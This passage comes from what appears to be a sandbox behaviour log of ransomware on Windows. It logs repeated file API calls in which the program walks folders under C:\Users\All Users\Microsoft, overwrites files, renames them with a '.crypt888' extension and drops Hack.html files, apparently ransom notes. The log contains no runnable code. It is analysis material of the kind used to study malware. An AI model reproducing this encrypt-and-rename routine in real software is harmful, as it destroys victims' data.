users\\microsoft\\rac\\temp\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc2e020, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc2e020, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc64bd600, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.076] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp\\hack.html.crypt888")) returned 1 [0089.076] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html", lpFilePart=0x0) returned 0x2f [0089.076] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.076] GetFileType (hFile=0x174) returned 0x1 [0089.076] GetFileType (hFile=0x174) returned 0x1 [0089.077] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html", lpFilePart=0x0) returned 0x2a [0089.077] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.078] GetFileType (hFile=0x174) returned 0x1 [0089.078] GetFileType (hFile=0x174) returned 0x1 [0089.079] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search", lpFilePart=0x0) returned 0x23 [0089.079] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\", lpFilePart=0x0) returned 0x24 [0089.079] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0089.079] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0089.079] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search", lpFilePart=0x0) returned 0x23 [0089.079] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\", lpFilePart=0x0) returned 0x24 [0089.079] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0089.079] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0089.079] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html", lpFilePart=0x0) returned 0x2d [0089.079] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.080] GetFileType (hFile=0x174) returned 0x1 [0089.080] GetFileType (hFile=0x174) returned 0x1 [0089.080] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.080] ReadFile (in: hFile=0x174, lpBuffer=0x2848c8c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2848c8c*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0089.092] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html", lpFilePart=0x0) returned 0x2d [0089.092] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.093] GetFileType (hFile=0x174) returned 0x1 [0089.093] GetFileType (hFile=0x174) returned 0x1 [0089.094] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html", lpFilePart=0x0) returned 0x2d [0089.094] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html.crypt888", lpFilePart=0x0) returned 0x36 [0089.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc54180, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc54180, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc64e3760, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.094] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\search\\hack.html.crypt888")) returned 1 [0089.095] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data", lpFilePart=0x0) returned 0x28 [0089.095] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\", lpFilePart=0x0) returned 0x29 [0089.095] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a268 [0089.095] FindClose (in: hFindFile=0x59a268 | out: hFindFile=0x59a268) returned 1 [0089.095] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data", lpFilePart=0x0) returned 0x28 [0089.095] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\", lpFilePart=0x0) returned 0x29 [0089.095] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a268 [0089.095] FindClose (in: hFindFile=0x59a268 | out: hFindFile=0x59a268) returned 1 [0089.095] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html", lpFilePart=0x0) returned 0x32 [0089.095] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.095] GetFileType (hFile=0x174) returned 0x1 [0089.095] GetFileType (hFile=0x174) returned 0x1 [0089.096] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0089.096] ReadFile (in: hFile=0x174, lpBuffer=0x2899b8c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2899b8c*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0089.112] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html", lpFilePart=0x0) returned 0x32 [0089.112] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.113] GetFileType (hFile=0x174) returned 0x1 [0089.113] GetFileType (hFile=0x174) returned 0x1 [0089.113] WriteFile (in: hFile=0x174, lpBuffer=0x26e883c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x26e883c*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0089.114] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html", lpFilePart=0x0) returned 0x32 [0089.114] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3b [0089.114] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc54180, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc54180, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc65098c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.114] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\hack.html.crypt888")) returned 1 [0089.115] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications", lpFilePart=0x0) returned 0x35 [0089.115] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\", lpFilePart=0x0) returned 0x36 [0089.115] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a428 [0089.115] FindClose (in: hFindFile=0x59a428 | out: hFindFile=0x59a428) returned 1 [0089.115] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications", lpFilePart=0x0) returned 0x35 [0089.115] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\", lpFilePart=0x0) returned 0x36 [0089.115] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a428 [0089.116] FindClose (in: hFindFile=0x59a428 | out: hFindFile=0x59a428) returned 1 [0089.116] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html", lpFilePart=0x0) returned 0x3f [0089.116] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.116] GetFileType (hFile=0x174) returned 0x1 [0089.116] GetFileType (hFile=0x174) returned 0x1 [0089.116] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0089.116] ReadFile (in: hFile=0x174, lpBuffer=0x26eb6b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x26eb6b4*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0089.129] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html", lpFilePart=0x0) returned 0x3f [0089.129] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.130] GetFileType (hFile=0x174) returned 0x1 [0089.130] GetFileType (hFile=0x174) returned 0x1 [0089.131] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html", lpFilePart=0x0) returned 0x3f [0089.131] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html.crypt888", lpFilePart=0x0) returned 0x48 [0089.131] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc54180, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc54180, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc652fa20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.131] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\hack.html.crypt888")) returned 1 [0089.132] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html", lpFilePart=0x0) returned 0x3f [0089.132] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.132] GetFileType (hFile=0x174) returned 0x1 [0089.132] GetFileType (hFile=0x174) returned 0x1 [0089.133] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp", lpFilePart=0x0) returned 0x2d [0089.133] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\", lpFilePart=0x0) returned 0x2e [0089.133] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a528 [0089.133] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0089.133] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp", lpFilePart=0x0) returned 0x2d [0089.133] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\", lpFilePart=0x0) returned 0x2e [0089.133] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a528 [0089.133] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0089.133] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html", lpFilePart=0x0) returned 0x37 [0089.133] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.134] GetFileType (hFile=0x174) returned 0x1 [0089.134] GetFileType (hFile=0x174) returned 0x1 [0089.134] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0089.134] ReadFile (in: hFile=0x174, lpBuffer=0x273ebb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x273ebb8*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0089.147] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html", lpFilePart=0x0) returned 0x37 [0089.147] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.148] GetFileType (hFile=0x174) returned 0x1 [0089.148] GetFileType (hFile=0x174) returned 0x1 [0089.148] WriteFile (in: hFile=0x174, lpBuffer=0x278cd2c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x278cd2c*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0089.149] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html", lpFilePart=0x0) returned 0x37 [0089.149] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html.crypt888", lpFilePart=0x0) returned 0x40 [0089.149] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc54180, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc54180, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6555b80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.149] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp\\hack.html.crypt888")) returned 1 [0089.150] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html", lpFilePart=0x0) returned 0x37 [0089.150] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.150] GetFileType (hFile=0x174) returned 0x1 [0089.150] GetFileType (hFile=0x174) returned 0x1 [0089.151] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html", lpFilePart=0x0) returned 0x32 [0089.151] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.153] GetFileType (hFile=0x174) returned 0x1 [0089.153] GetFileType (hFile=0x174) returned 0x1 [0089.154] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html", lpFilePart=0x0) returned 0x2d [0089.154] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\search\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.154] GetFileType (hFile=0x174) returned 0x1 [0089.154] GetFileType (hFile=0x174) returned 0x1 [0089.155] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures", lpFilePart=0x0) returned 0x32 [0089.155] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\", lpFilePart=0x0) returned 0x33 [0089.155] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a128 [0089.156] FindClose (in: hFindFile=0x59a128 | out: hFindFile=0x59a128) returned 1 [0089.156] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures", lpFilePart=0x0) returned 0x32 [0089.156] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\", lpFilePart=0x0) returned 0x33 [0089.156] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a128 [0089.156] FindClose (in: hFindFile=0x59a128 | out: 